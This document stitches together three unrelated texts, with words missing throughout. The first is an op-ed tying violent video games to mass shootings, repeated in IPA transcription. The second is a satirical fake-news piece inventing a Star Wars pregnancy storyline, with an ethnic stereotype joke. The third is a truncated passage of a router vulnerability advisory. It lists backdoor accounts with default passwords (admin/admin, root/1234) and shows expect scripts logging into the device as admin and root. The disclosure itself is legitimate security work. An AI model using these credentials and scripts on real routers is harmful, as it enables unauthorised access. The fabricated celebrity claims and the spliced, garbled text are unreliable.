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whatever else is said about the murder of 20 elementary school children in newtown, conn. last year, let no one say especially at the senate judiciary committee hearings on gun control today that those killings were “unimaginable.” every day, mass killings are imagined, rehearsed, and enacted virtually by millions of children and young adults, mostly boys and men, in violent video games. one segment of 2, for example, invites players to kill defenseless, cowering girls (called little sisters) or lure them into a trap where they are mowed down by a machine gun.
adam lanza have to imagine the sandy hook massacre on his own. others had already imagined it for him.
when wayne lapierre, head of the national rifle association, pointed a finger at video games and media violence during a news conference after the shootings, it was a calculated effort to distract attention from the gun industry and its powerful lobby. as former congresswoman gabrielle giffords and her husband mark kelly wrote in their usa today announcing the launch of their superpac, "we saw from the leadership's defiant and unsympathetic response to the newtown, conn., massacre that winning even the most reforms will require a fight."
but mr. lapierre was also half right. glock and give troubled teens and young adults like lanza the means to kill. but antisocial video games and a wider culture of militarism give them the script.
what lapierre neglected to say is that the arms industry, the video game industry, and the military are deeply entwined with one another and even, one could argue, allied in values. in many ways, their work together is eroding the distinction between virtual and real killing.
during the iraq war, marines relaxed after conducting search and destroy missions by playing call of duty 4 and counterstrike, fielding the same weapons and tactics. cia agents and air force personnel today kill real people in distant countries using remotely piloted drones, on interfaces modeled on video games, while us soldiers hone tactical combat skills on video game simulators and use to control real machines in the battlefield.
meanwhile, the video game industry works closely with the military and gun manufacturers to ensure that their virtual weaponry, from the submachine gun to the gunship, behaves just like the real thing. some game companies have direct contracts with the department of defense, manufacturing hardware and software for military applications.
it’s easy to see why the us army runs recruitment ads in gamer magazines and maintains a popular online game called army.
while the industry denies any link between violent interactive media and real-world beliefs and behaviors, studies have shown that playing violent video games is associated with higher rates of hostility, more attitudes, and a decrease in players’ ability to empathize with others, particularly those who are suffering.
computer video games are in fact the most powerful medium ever devised for altering perception and behavior. why psychologists use them to help patients overcome post-traumatic stress disorder (ptsd), why pilots are trained on flight simulators, and why the military uses them to train soldiers.
so what does it mean that millions of boys and young men are spending their free time “training” to kill?
whether knifing or setting fire to prostitutes in grand theft auto, or mowing down scores of racially stereotyped arabs in some fictional middle eastern country, male players are being taught to associate representations of mass slaughter, torture, and other antisocial acts with play and pleasure. they are being told that to be a “real” man is to come to others heavily armed.
the very idea of moving from room to room with an assault weapon, “clearing” the room by shooting victims in the head, as lanza did in newtown, is a convention of the first person shooter video game genre. the first such game, doom, proved so successful at teaching soldiers how to kill that the marines quickly adapted it for their training program. prior to their massacre, the columbine killers spent countless hours playing and even designing levels on a modified version of the same game.
at his trial last year, anders, the norwegian extremist who murdered 69 people, most of them teenagers, on the island of utoya, boasted that he had done his weapons training on the first person shooter game, call of duty: modern warfare, which he had played for up to 16 hours a day as “part of my training-simulation.” the special gun sight installed on his rifle was the real version of the virtual one he had used in the game.
the case reveals how narrow the us debate over gun violence really is. norway has stringent gun control laws, and did his killing with a hunting rifle, not a assault rifle. so tightening restrictions on guns, in a nation that already has hundreds of millions of them in private hands, is both admirable and arguably beside the point. banning guns alone address a pervasive culture of militarism and violence one that has diminished the ability of children and young adults to distinguish between real and virtual violence, or to care about the difference.
despite a landmark supreme court decision in 2011, which protected commercial video games as free speech, the newtown massacre has renewed debate in the congress and white house over what, if anything, should or can be done to regulate the $60 billion video game industry, the largest media business in the world.
to his credit, president obama recently ordered more federal research on possible links between violent video games and real-life violence, and asked congress to fund it. but he declined to take stronger action.
two weeks ago, vice president joe biden, who had earlier expressed concern about violent video games, suddenly backed down, after intense lobbying pressure from the industry. he and others seem to have accepted the industry's position that the research linking violent video games to real violence is too "inconclusive" to justify new legislative action.
the industry is fond of saying that no one has yet been able to prove that a specific act of violence was "caused" by someone playing a video game. however, that's like my claiming that cars don't contribute to global warming, because no one has proved that my own suv has caused the glaciers on kilimanjaro to melt. the sources of climate change, and of violence, are in fact multiple. video games may not cause violence on their own, but they contribute to a culture of violence by modeling antisocial acts and diminishing players' response to others.
they also promote a virulent militarism that subordinates democratic and civic values to a culture of war-making. and here, perhaps, lies the rub. a cynic might ask whether a deliberative body that routinely authorizes billions of dollars for real-world weapons, real-life wars that in just the last decade have left more than real people, not virtual ones, dead, is terribly likely to go after an industry that spreads only violence.
let us give our elected representatives the benefit of the doubt, and assume that they would. even so, it is not to ask whether our representatives' reluctance to rein in the industry might not stem, at least in part, from their tacit appreciation of how deeply entwined cultures of symbolic violence now are with our national identity and as a great military power.
yet a nation that lives by the sword dies by it, and it matters less and less whether that sword is virtual or real. so long as america continues socializing its young people in a culture of violence and war, whether in video games or in military campaigns abroad, we are unlikely to see an end to tragedies like newtown or aurora.
john teaches a course on the philosophy and ethics of video games at worcester polytechnic institute, where he is associate professor of philosophy. | ˌwəˈtɛvər ɛls ɪz sɛd əˈbaʊt ðə ˈmərdər əv 20 ˌɛləˈmɛnʧri skul ˈʧɪldrən ɪn ˈnuˌtaʊn, kɑn. læst jɪr, lɛt noʊ wən seɪ əˈspɛʃəli æt ðə ˈsɛnɪt ʤuˈdɪʃiˌɛri kəˈmɪti ˈhirɪŋz ɔn gən kənˈtroʊl təˈdeɪ ðət ðoʊz ˈkɪlɪŋz wər ““unimaginable.”*.” ˈɛvəri deɪ, mæs ˈkɪlɪŋz ər ˌɪˈmæʤənd, riˈhərst, ənd ɛˈnæktəd ˈvərʧuəli baɪ ˈmɪljənz əv ˈʧɪldrən ənd jəŋ ˈædəlts, ˈmoʊstli bɔɪz ənd mɛn, ɪn ˈvaɪələnt ˈvɪdioʊ geɪmz. wən ˌsɛgˈmɛnt əv 2 fər ɪgˈzæmpəl, ˌɪnˈvaɪts pleɪərz tɪ kɪl dɪˈfɛnsləs, kaʊərɪŋ gərlz (kɔld ˈlɪtəl ˈsɪstərz) ər lʊr ðɛm ˈɪntu ə træp wɛr ðeɪ ər moʊd daʊn baɪ ə məˈʃin gən. ˈædəm ˈlænzə hæv tɪ ˌɪˈmæʤən ðə ˈsændi hʊk ˈmæsəkər ɔn hɪz oʊn. ˈəðərz hæd ɔˈrɛdi ˌɪˈmæʤənd ɪt fər ɪm. wɪn weɪn ˈlæpiɛr, hɛd əv ðə ˈnæʃənəl ˈraɪfəl əˌsoʊʃiˈeɪʃən, ˈpɔɪntɪd ə ˈfɪŋgər æt ˈvɪdioʊ geɪmz ənd ˈmidiə ˈvaɪələns ˈdʊrɪŋ ə nuz ˈkɑnfərəns ˈæftər ðə ˈʃutɪŋz, ɪt wɑz ə ˈkælkjəˌleɪtɪd ˈɛfərt tɪ dɪˈstrækt əˈtɛnʃən frəm ðə gən ˈɪndəstri ənd ɪts ˈpaʊərfəl ˈlɑbi. ɛz ˈfɔrmər ˈkɑŋgrəsˌwʊmən ˌgɑbriˈɛl ˈgɪfərdz ənd hər ˈhəzbənd mɑrk ˈkɛli roʊt ɪn ðɛr ˈjuˈɛˈseɪ təˈdeɪ əˈnaʊnsɪŋ ðə lɔnʧ əv ðɛr superpac*, "wi sɔ frəm ðə ˈlidərˌʃɪps dɪˈfaɪənt ənd ənˌsɪmpəˈθɛtɪk rɪˈspɑns tɪ ðə ˈnuˌtaʊn, kɑn., ˈmæsəkər ðət ˈwɪnɪŋ ˈivɪn ðə moʊst rɪˈfɔrmz wɪl ˌrikˈwaɪər ə faɪt." bət ˈmɪstər. ˈlæpiɛr wɑz ˈɔlsoʊ hæf raɪt. glɑk ənd gɪv ˈtrəbəld tinz ənd jəŋ ˈædəlts laɪk ˈlænzə ðə minz tɪ kɪl. bət ˌæntɪˈsoʊʃəl ˈvɪdioʊ geɪmz ənd ə ˈwaɪdər ˈkəlʧər əv ˈmɪlətərˌɪzəm gɪv ðɛm ðə skrɪpt. wət ˈlæpiɛr nɪˈglɛktɪd tɪ seɪ ɪz ðət ðə ɑrmz ˈɪndəstri, ðə ˈvɪdioʊ geɪm ˈɪndəstri, ənd ðə ˈmɪlɪˌtɛri ər ˈdipli ɛntˈwaɪnd wɪθ wən əˈnəðər ənd ˈivɪn, wən kʊd ˈɑrgju, ˈæˌlaɪd ɪn ˈvæljuz. ɪn ˈmɛni weɪz, ðɛr wərk təˈgɛðər ɪz ɪˈroʊdɪŋ ðə dɪˈstɪŋkʃən bɪtˈwin ˈvərʧuəl ənd ril ˈkɪlɪŋ. ˈdʊrɪŋ ðə ˌɪˈrɑk wɔr, mərˈinz rɪˈlækst ˈæftər kənˈdəktɪŋ sərʧ ənd dɪˈstrɔɪ ˈmɪʃənz baɪ pleɪɪŋ kɔl əv ˈduti 4 ənd counterstrike*, ˈfildɪŋ ðə seɪm ˈwɛpənz ənd ˈtæktɪks. siaɪeɪ ˈeɪʤənts ənd ɛr fɔrs ˌpərsəˈnɛl təˈdeɪ kɪl ril ˈpipəl ɪn ˈdɪstənt ˈkəntriz ˈjuzɪŋ riˈmoʊtli ˈpaɪlətɪd droʊnz, ɔn ˈɪnərˌfeɪsɪz ˈmɑdəld ɔn ˈvɪdioʊ geɪmz, waɪl ˈjuˈɛs ˈsoʊlʤərz hoʊn ˈtæktɪkəl ˈkɑmbæt skɪlz ɔn ˈvɪdioʊ geɪm ˈsɪmjəˌleɪtərz ənd juz tɪ kənˈtroʊl ril məˈʃinz ɪn ðə ˈbætəlˌfild. ˈminˌwaɪl, ðə ˈvɪdioʊ geɪm ˈɪndəstri wərks ˈkloʊsli wɪθ ðə ˈmɪlɪˌtɛri ənd gən ˌmænjəˈfækʧərərz tɪ ɪnˈʃʊr ðət ðɛr ˈvərʧuəl ˈwɛpənri, frəm ðə ˌsəbməˈʃin gən tɪ ðə ˈgənˌʃɪp, bɪˈheɪvz ʤɪst laɪk ðə ril θɪŋ. səm geɪm ˈkəmpəˌniz hæv dɪˈrɛkt ˈkɑnˌtrækts wɪθ ðə dɪˈpɑrtmənt əv dɪˈfɛns, ˌmænjəˈfækʧərɪŋ ˈhɑrdˌwɛr ənd ˈsɔfˌwɛr fər ˈmɪlɪˌtɛri ˌæpləˈkeɪʃənz. ˈizi tɪ si waɪ ðə ˈjuˈɛs ˈɑrmi rənz rɪˈkrutmənt ædz ɪn ˈgeɪmər ˈmægəˌzinz ənd meɪnˈteɪnz ə ˈpɑpjələr ˈɔnˌlaɪn geɪm kɔld ˈɑrmi. waɪl ðə ˈɪndəstri dɪˈnaɪz ˈɛni lɪŋk bɪtˈwin ˈvaɪələnt ˌɪnərˈæktɪv ˈmidiə ənd ˈrilˌwərld bɪˈlifs ənd bɪˈheɪvjərz, ˈstədiz hæv ʃoʊn ðət pleɪɪŋ ˈvaɪələnt ˈvɪdioʊ geɪmz ɪz əˈsoʊʃiˌeɪtəd wɪθ haɪər reɪts əv hɑˈstɪləti, mɔr ˈætəˌtudz, ənd ə ˈdiˌkris ɪn players’*’ əˈbɪləˌti tɪ ˈɛmpəˌθaɪz wɪθ ˈəðərz, ˌpɑrˈtɪkjələrli ðoʊz hu ər ˈsəfərɪŋ. kəmˈpjutər ˈvɪdioʊ geɪmz ər ɪn fækt ðə moʊst ˈpaʊərfəl ˈmidiəm ˈɛvər dɪˈvaɪzd fər ˈɔltərɪŋ pərˈsɛpʃən ənd bɪˈheɪvjər. waɪ saɪˈkɑləʤəsts juz ðɛm tɪ hɛlp ˈpeɪʃənz ˈoʊvərˌkəm ˌpoʊstrɔˈmætɪk strɛs dɪˈsɔrdər (ptsd*), waɪ ˈpaɪləts ər treɪnd ɔn flaɪt ˈsɪmjəˌleɪtərz, ənd waɪ ðə ˈmɪlɪˌtɛri ˈjuzɪz ðɛm tɪ treɪn ˈsoʊlʤərz. soʊ wət dɪz ɪt min ðət ˈmɪljənz əv bɔɪz ənd jəŋ mɛn ər ˈspɛndɪŋ ðɛr fri taɪm ““training”*” tɪ kɪl? ˈwɛðər ˈnaɪfɪŋ ər ˈsɛtɪŋ faɪər tɪ ˈprɑstəˌtuts ɪn grænd θɛft ˈɔtoʊ, ər maʊɪŋ daʊn skɔrz əv ˈreɪʃəli ˈstɛrioʊˌtaɪpt ˈærəbz ɪn səm ˈfɪkʃənəl ˈmɪdəl ˈistərn ˈkəntri, meɪl pleɪərz ər biɪŋ tɔt tɪ əˈsoʊʃiˌeɪt ˌrɛprəzənˈteɪʃənz əv mæs sˈlɔtər, ˈtɔrʧər, ənd ˈəðər ˌæntɪˈsoʊʃəl ækts wɪθ pleɪ ənd ˈplɛʒər. ðeɪ ər biɪŋ toʊld ðət tɪ bi ə ““real”*” mæn ɪz tɪ kəm tɪ ˈəðərz ˈhɛvəli ɑrmd. ðə ˈvɛri aɪˈdiə əv ˈmuvɪŋ frəm rum tɪ rum wɪθ ən əˈsɔlt ˈwɛpən, ““clearing”*” ðə rum baɪ ˈʃutɪŋ ˈvɪktɪmz ɪn ðə hɛd, ɛz ˈlænzə dɪd ɪn ˈnuˌtaʊn, ɪz ə kənˈvɛnʃən əv ðə fərst ˈpərsən ˈʃutər ˈvɪdioʊ geɪm ˈʒɑnrə. ðə fərst səʧ geɪm, dum, pruvd soʊ səkˈsɛsfəl æt ˈtiʧɪŋ ˈsoʊlʤərz haʊ tɪ kɪl ðət ðə mərˈinz kˈwɪkli əˈdæptɪd ɪt fər ðɛr ˈtreɪnɪŋ ˈproʊˌgræm. praɪər tɪ ðɛr ˈmæsəkər, ðə ˈkɑləmˌbaɪn ˈkɪlərz spɛnt ˈkaʊntləs aʊərz pleɪɪŋ ənd ˈivɪn dɪˈzaɪnɪŋ ˈlɛvəlz ɔn ə ˈmɑdəˌfaɪd ˈvərʒən əv ðə seɪm geɪm. æt hɪz traɪəl læst jɪr, ˈændərz, ðə ˌnɔrˈwiʤən ɪkˈstrimɪst hu ˈmərdərd 69 ˈpipəl, moʊst əv ðɛm ˈtiˌneɪʤərz, ɔn ðə ˈaɪlənd əv utoya*, ˈboʊstɪd ðət hi hæd dən hɪz ˈwɛpənz ˈtreɪnɪŋ ɔn ðə fərst ˈpərsən ˈʃutər geɪm, kɔl əv ˈduti: ˈmɑdərn ˈwɔrˌfɛr, wɪʧ hi hæd pleɪd fər əp tɪ 16 aʊərz ə deɪ ɛz əv maɪ training-simulation.”*.” ðə ˈspɛʃəl gən saɪt ˌɪnˈstɔld ɔn hɪz ˈraɪfəl wɑz ðə ril ˈvərʒən əv ðə ˈvərʧuəl wən hi hæd juzd ɪn ðə geɪm. ðə keɪs rɪˈvilz haʊ ˈnɛroʊ ðə ˈjuˈɛs dəˈbeɪt ˈoʊvər gən ˈvaɪələns ˈrɪli ɪz. ˈnɔrˌweɪ həz ˈstrɪnʤənt gən kənˈtroʊl lɔz, ənd dɪd hɪz ˈkɪlɪŋ wɪθ ə ˈhəntɪŋ ˈraɪfəl, nɑt ə əˈsɔlt ˈraɪfəl. soʊ ˈtaɪtənɪŋ riˈstrɪkʃənz ɔn gənz, ɪn ə ˈneɪʃən ðət ɔˈrɛdi həz ˈhənərdz əv ˈmɪljənz əv ðɛm ɪn ˈpraɪvət hænz, ɪz boʊθ ˈædmərəbəl ənd ˈɑrgjuəbli ˌbiˈsaɪd ðə pɔɪnt. ˈbænɪŋ gənz əˈloʊn ˈæˌdrɛs ə pərˈveɪsɪv ˈkəlʧər əv ˈmɪlətərˌɪzəm ənd ˈvaɪələns wən ðət həz dɪˈmɪnɪʃt ðə əˈbɪləˌti əv ˈʧɪldrən ənd jəŋ ˈædəlts tɪ dɪˈstɪŋgwɪʃ bɪtˈwin ril ənd ˈvərʧuəl ˈvaɪələns, ər tɪ kɛr əˈbaʊt ðə ˈdɪfərəns. dɪˈspaɪt ə ˈlændˌmɑrk səˈprim kɔrt dɪˈsɪʒən ɪn 2011 wɪʧ prəˈtɛktɪd kəˈmərʃəl ˈvɪdioʊ geɪmz ɛz fri spiʧ, ðə ˈnuˌtaʊn ˈmæsəkər həz rɪˈnud dəˈbeɪt ɪn ðə ˈkɑŋgrəs ənd waɪt haʊs ˈoʊvər wət, ɪf ˈɛniˌθɪŋ, ʃʊd ər kən bi dən tɪ ˈrɛgjəˌleɪt ðə 60 ˈbɪljən ˈvɪdioʊ geɪm ˈɪndəstri, ðə ˈlɑrʤəst ˈmidiə ˈbɪznɪs ɪn ðə wərld. tɪ hɪz ˈkrɛdɪt, ˈprɛzɪdənt ˌoʊˈbɑmə ˈrisəntli ˈɔrdərd mɔr ˈfɛdərəl ˈrisərʧ ɔn ˈpɑsəbəl lɪŋks bɪtˈwin ˈvaɪələnt ˈvɪdioʊ geɪmz ənd ˈriˌllaɪf ˈvaɪələns, ənd æst ˈkɑŋgrəs tɪ fənd ɪt. bət hi dɪˈklaɪnd tɪ teɪk ˈstrɔŋgər ˈækʃən. tu wiks əˈgoʊ, vaɪs ˈprɛzɪdənt ʤoʊ ˈbaɪdən, hu hæd ˈərliər ɪkˈsprɛst kənˈsərn əˈbaʊt ˈvaɪələnt ˈvɪdioʊ geɪmz, ˈsədənli bækt daʊn, ˈæftər ˌɪnˈtɛns ˈlɑbiɪŋ ˈprɛʃər frəm ðə ˈɪndəstri. hi ənd ˈəðərz sim tɪ hæv ækˈsɛptɪd ðə ˈɪndəstriz pəˈzɪʃən ðət ðə ˈrisərʧ ˈlɪŋkɪŋ ˈvaɪələnt ˈvɪdioʊ geɪmz tɪ ril ˈvaɪələns ɪz tu "ˌɪnkənˈklusɪv" tɪ ˈʤəstəˌfaɪ nu ˈlɛʤəsˌleɪtɪv ˈækʃən. ðə ˈɪndəstri ɪz fɑnd əv seɪɪŋ ðət noʊ wən həz jɛt bɪn ˈeɪbəl tɪ pruv ðət ə spɪˈsɪfɪk ækt əv ˈvaɪələns wɑz "kɔzd" baɪ ˈsəmˌwən pleɪɪŋ ə ˈvɪdioʊ geɪm. ˌhaʊˈɛvər, ðæts laɪk maɪ ˈkleɪmɪŋ ðət kɑz doʊnt kənˈtrɪbjut tɪ ˈgloʊbəl ˈwɔrmɪŋ, bɪˈkəz noʊ wən həz pruvd ðət maɪ oʊn ˌɛsˌjuˈvi həz kɔzd ðə ˈgleɪʃərz ɔn ˌkɪləmənˈʤɑroʊ tɪ mɛlt. ðə ˈsɔrsəz əv ˈklaɪmɪt ʧeɪnʤ, ənd əv ˈvaɪələns, ər ɪn fækt ˈməltəpəl. ˈvɪdioʊ geɪmz meɪ nɑt kɔz ˈvaɪələns ɔn ðɛr oʊn, bət ðeɪ kənˈtrɪbjut tɪ ə ˈkəlʧər əv ˈvaɪələns baɪ ˈmɑdəlɪŋ ˌæntɪˈsoʊʃəl ækts ənd dɪˈmɪnɪʃɪŋ pleɪərz' rɪˈspɑns tɪ ˈəðərz. ðeɪ ˈɔlsoʊ prəˈmoʊt ə ˈvɪrələnt ˈmɪlətərˌɪzəm ðət səˈbɔrdəˌneɪts ˌdɛməˈkrætɪk ənd ˈsɪvɪk ˈvæljuz tɪ ə ˈkəlʧər əv war-making*. ənd hir, pərˈhæps, laɪz ðə rəb. ə ˈsɪnɪk maɪt æsk ˈwɛðər ə dɪˈlɪbərˌeɪtɪv ˈbɑdi ðət ruˈtinli ˈɔθərˌaɪzɪz ˈbɪljənz əv ˈdɔlərz fər ˈrilˌwərld ˈwɛpənz, ˈriˌllaɪf wɔrz ðət ɪn ʤɪst ðə læst ˈdɛkeɪd hæv lɛft mɔr ðən ril ˈpipəl, nɑt ˈvərʧuəl wənz, dɛd, ɪz ˈtɛrəbli ˈlaɪkli tɪ goʊ ˈæftər ən ˈɪndəstri ðət sprɛdz ˈoʊnli ˈvaɪələns. lɛt ˈjuˈɛs gɪv ɑr ɪˈlɛktɪd ˌrɛprɪˈzɛnətɪvz ðə ˈbɛnəfɪt əv ðə daʊt, ənd əˈsum ðət ðeɪ wʊd. ˈivɪn soʊ, ɪt ɪz nɑt tɪ æsk ˈwɛðər ɑr ˌrɛprɪˈzɛnətɪvz' rɪˈləktəns tɪ reɪn ɪn ðə ˈɪndəstri maɪt nɑt stɛm, æt list ɪn pɑrt, frəm ðɛr ˈtæsɪt əˌpriʃiˈeɪʃən əv haʊ ˈdipli ɛntˈwaɪnd ˈkəlʧərz əv sɪmˈbɑlɪk ˈvaɪələns naʊ ər wɪθ ɑr ˈnæʃənəl aɪˈdɛntəˌti ənd ɛz ə greɪt ˈmɪlɪˌtɛri paʊər. jɛt ə ˈneɪʃən ðət lɪvz baɪ ðə sɔrd daɪz baɪ ɪt, ənd ɪt ˈmætərz lɛs ənd lɛs ˈwɛðər ðət sɔrd ɪz ˈvərʧuəl ər ril. soʊ lɔŋ ɛz əˈmɛrɪkə kənˈtɪnjuz ˈsoʊʃəˌlaɪzɪŋ ɪts jəŋ ˈpipəl ɪn ə ˈkəlʧər əv ˈvaɪələns ənd wɔr, ˈwɛðər ɪn ˈvɪdioʊ geɪmz ər ɪn ˈmɪlɪˌtɛri kæmˈpeɪnz əˈbrɔd, wi ər ənˈlaɪkli tɪ si ən ɛnd tɪ ˈtræʤədiz laɪk ˈnuˌtaʊn ər ərˈɔrə. ʤɑn ˈtiʧɪz ə kɔrs ɔn ðə fəˈlɑsəfi ənd ˈɛθɪks əv ˈvɪdioʊ geɪmz æt ˈwʊstər ˌpɑˌliˈtɛknɪk ˈɪnstɪˌtut, wɛr hi ɪz əˈsoʊʃiˌeɪt prəˈfɛsər əv fəˈlɑsəfi. |
in a recent interview, billie revealed she will be back and bigger than ever in the upcoming star wars: episode.’s character, ko, spoke one line to her character in the force awakens and now promises more from in the next installment in the saga films.
a correspondent was able to catch up with following her interview and asked her to elaborate on what she referred to as a role “bigger than ever.” billie revealed that not only will her role be bigger and meatier this time around but herself will be bigger and meatier.
lourd elaborated that will be pregnant in episode, carrying the child of a certain lead character. billie refused to comment any further out of fear of being arrested but confirmed the baby does not belong to first order characters hux, snoke, or ren.
speculation time fakers!
now lets figure out whose child lieutenant carries.
our choices are:
poe dameron the obvious choice is the most eligible bachelor in the resistance. got the looks, the swagger, and the best freaking pilot in the galaxy. the only thing harming this theory is the fact poe may be gay with feelings for finn.
finn we only suggest finn because billie said it was a lead character. however, finn would have just recently joined the resistance by the time of episode and have been available to get it on with before being put into a coma by ren. we doubt finn is the father.
“snap” we all know that reconnaissance skills are top-notch, so it seems likely he will have done his work sorting out the eligible ladies to carry on the snap seed for generations of rebels to come. plus it just sounds cool to say, “my daddy snap has done recon on bases bigger than your daddy.”
benicio del “man in black” not completely outside the realm of possibilities to assume that del toro will play a baby daddy latino lover in star wars, given the new bent of disney trying to represent ethnic groups in their films in a diverse way. in this theory, del toro plays a poor fruit farmer who illegally to galactic headquarters and impregnates his young wife citizen to get a residency card.
crimson corsair the crimson corsair and his savoire-fair. ‘nuff said?
that’s our for who might be lieutenant’s baby daddy. whomever it is is going to have their hands full juggling a newborn along with their regular responsibilities. good luck to all the men in question! whom do you think is the father? let is know in the comments below!
as always, keep it locked to for the latest and news from a galaxy far, far away.
-voxx
please follow and like faking star wars: | ɪn ə ˈrisənt ˈɪntərvˌju, ˈbɪli rɪˈvild ʃi wɪl bi bæk ənd ˈbɪgər ðən ˈɛvər ɪn ðə ˈəpˌkəmɪŋ stɑr wɔrz: ˈɛpɪˌsoʊd. ˈkɛrɪktər, koʊ, spoʊk wən laɪn tɪ hər ˈkɛrɪktər ɪn ðə fɔrs əˈweɪkənz ənd naʊ ˈprɑməsəz mɔr frəm ɪn ðə nɛkst ˌɪnˈstɔlmənt ɪn ðə ˈsɑgə fɪlmz. ə ˌkɔrəˈspɑndənt wɑz ˈeɪbəl tɪ kæʧ əp wɪθ ˈfɑloʊɪŋ hər ˈɪntərvˌju ənd æst hər tɪ ɪˈlæbərˌeɪt ɔn wət ʃi rɪˈfərd tɪ ɛz ə roʊl ðən ever.”*.” ˈbɪli rɪˈvild ðət nɑt ˈoʊnli wɪl hər roʊl bi ˈbɪgər ənd ˈmitiər ðɪs taɪm əraʊnd bət hərˈsɛlf wɪl bi ˈbɪgər ənd ˈmitiər. ɪˈlæbəreɪtəd ðət wɪl bi ˈprɛgnənt ɪn ˈɛpɪˌsoʊd, ˈkɛriɪŋ ðə ʧaɪld əv ə ˈsərtən lɛd ˈkɛrɪktər. ˈbɪli rɪfˈjuzd tɪ ˈkɑmɛnt ˈɛni ˈfərðər aʊt əv fɪr əv biɪŋ ərˈɛstɪd bət kənˈfərmd ðə ˈbeɪbi dɪz nɑt bɪˈlɔŋ tɪ fərst ˈɔrdər ˈkɛrɪktərz həks, snoʊk, ər rɛn. ˌspɛkjəˈleɪʃən taɪm ˈfeɪkərz! naʊ lɛts ˈfɪgjər aʊt huz ʧaɪld luˈtɛnənt ˈkɛriz. ɑr ˈʧɔɪsɪz ər: poʊ dɑmɛˈrɔn ðə ˈɑbviəs ʧɔɪs ɪz ðə moʊst ˈɛlɪʤəbəl ˈbæʧələr ɪn ðə rɪˈzɪstəns. gɑt ðə lʊks, ðə sˈwægər, ənd ðə bɛst ˈfrikɪŋ ˈpaɪlət ɪn ðə ˈgæləksi. ðə ˈoʊnli θɪŋ ˈhɑrmɪŋ ðɪs ˈθɪri ɪz ðə fækt poʊ meɪ bi geɪ wɪθ ˈfilɪŋz fər fɪn. fɪn wi ˈoʊnli səˈʤɛst fɪn bɪˈkəz ˈbɪli sɛd ɪt wɑz ə lɛd ˈkɛrɪktər. ˌhaʊˈɛvər, fɪn wʊd hæv ʤɪst ˈrisəntli ʤɔɪnd ðə rɪˈzɪstəns baɪ ðə taɪm əv ˈɛpɪˌsoʊd ənd hæv bɪn əˈveɪləbəl tɪ gɪt ɪt ɔn wɪθ ˌbiˈfɔr biɪŋ pʊt ˈɪntu ə ˈkoʊmə baɪ rɛn. wi daʊt fɪn ɪz ðə ˈfɑðər. ““snap”*” wi ɔl noʊ ðət riˈkɑnəsəns skɪlz ər top-notch*, soʊ ɪt simz ˈlaɪkli hi wɪl hæv dən hɪz wərk ˈsɔrtɪŋ aʊt ðə ˈɛlɪʤəbəl ˈleɪdiz tɪ ˈkɛri ɔn ðə snæp sid fər ˌʤɛnərˈeɪʃənz əv ˈrɛbəlz tɪ kəm. pləs ɪt ʤɪst saʊnz kul tɪ seɪ, ˈdædi snæp həz dən ˈrikɔn ɔn ˈbeɪsɪz ˈbɪgər ðən jʊr daddy.”*.” dɛl ɪn black”*” nɑt kəmˈplitli ˈaʊtˈsaɪd ðə rɛlm əv ˌpɑsəˈbɪlətiz tɪ əˈsum ðət dɛl ˈtɔroʊ wɪl pleɪ ə ˈbeɪbi ˈdædi ləˈtinoʊ ˈləvər ɪn stɑr wɔrz, ˈgɪvɪn ðə nu bɛnt əv ˈdɪzni traɪɪŋ tɪ ˌrɛprɪˈzɛnt ˈɛθnɪk grups ɪn ðɛr fɪlmz ɪn ə dɪˈvərs weɪ. ɪn ðɪs ˈθɪri, dɛl ˈtɔroʊ pleɪz ə pur frut ˈfɑrmər hu ˌɪˈligəli tɪ gəˈlæktɪk ˈhɛdˌkɔrtərz ənd ˌɪmˈprɛgˌneɪts hɪz jəŋ waɪf ˈsɪtɪzən tɪ gɪt ə ˈrɛzɪdənsi kɑrd. ˈkrɪmzən ˈkɔrsɛr ðə ˈkrɪmzən ˈkɔrsɛr ənd hɪz savoire-fair*. sɛd? ɑr fər hu maɪt bi luˈtɛnənt ˈbeɪbi ˈdædi. huˈmɛvər ɪt ɪz ɪz goʊɪŋ tɪ hæv ðɛr hænz fʊl ˈʤəgəlɪŋ ə ˈnubɔrn əˈlɔŋ wɪθ ðɛr ˈrɛgjələr riˌspɑnsəˈbɪlətiz. gʊd lək tɪ ɔl ðə mɛn ɪn kˈwɛʃən! hum du ju θɪŋk ɪz ðə ˈfɑðər? lɛt ɪz noʊ ɪn ðə ˈkɑmɛnts bɪˈloʊ! ɛz ˈɔlˌweɪz, kip ɪt lɑkt tɪ fər ðə ˈleɪtəst ənd nuz frəm ə ˈgæləksi fɑr, fɑr əˈweɪ. pliz ˈfɑloʊ ənd laɪk ˈfeɪkɪŋ stɑr wɔrz: |
product description
dlink is a multinational networking equipment manufacturing corporation.
vulnerabilities summary
the is a router / access point overall badly designed with a lot of vulnerabilities. it's available in a number of countries to provideernet with a network. it's a model based on the router models and inherits some vulnerabilities.
the tests below are done using the latest available_fw_revb_2_02_eu_en_20150709.zip, model revision b, /share3/dailybuild/qdx_dailybuild/qdt_2031_dlink/qdt_2031_os/source/linux/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).
the summary of the vulnerabilities is:
a personal point of view: at best, the are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. not all the vulnerabilities found have been disclosed in this advisory. only the significant ones are shown.
this router is still on sale.
due to lack of security patches provided by the vendor, the vulnerabilities will remain and customers with questions should contact their support office for the latest information.
details - backdoor accounts
by default, and are running in the router.
telnetd is running even if there is no documentation about it:
user@kali:~$ cat [...] #sandro { for debug... -s -b -a #if [ -e ]; then -s -b -a #fi #sandro } [...]
2 backdoor accounts exist and can be used to bypass the authentication used to manage the router.
admin@homerouter:~$ admin admin@homerouter:~$
the password for admin is 'admin' and can be found in the program using ida:
about the root user:
user@kali:~$ cat::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: admin@kali:~$
using john to crack the hashes:
user@kali:~$ john -show::: 2 password hashes cracked, 0 left user@kali:~$
results:
admin has password admin
root has password 1234
working exploit for admin:
user@kali:~$ cat-ssh-default-password-admin -f set timeout 3 spawn expect "password: $" send "admin\r"eract user@kali:~$ spawn's password: admin@homerouter:~$ id uid=168(admin) gid=168(admin) groups=168(admin) admin@homerouter:~$
alternatively, you can fetch it ats://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.
working exploit for root:
user@kali:~$ cat-ssh-default-password-root -f set timeout 3 spawn expect "password: $" send "1234\r"eract user@kali:~$ spawn's password: root@homerouter:~# id uid=168(root) gid=168(root) groups=168(root) root@homerouter:~#
alternatively, you can fetch it ats://pierrekim.github.io/advisories/quanta-ssh-default-password-root.
details - backdoor
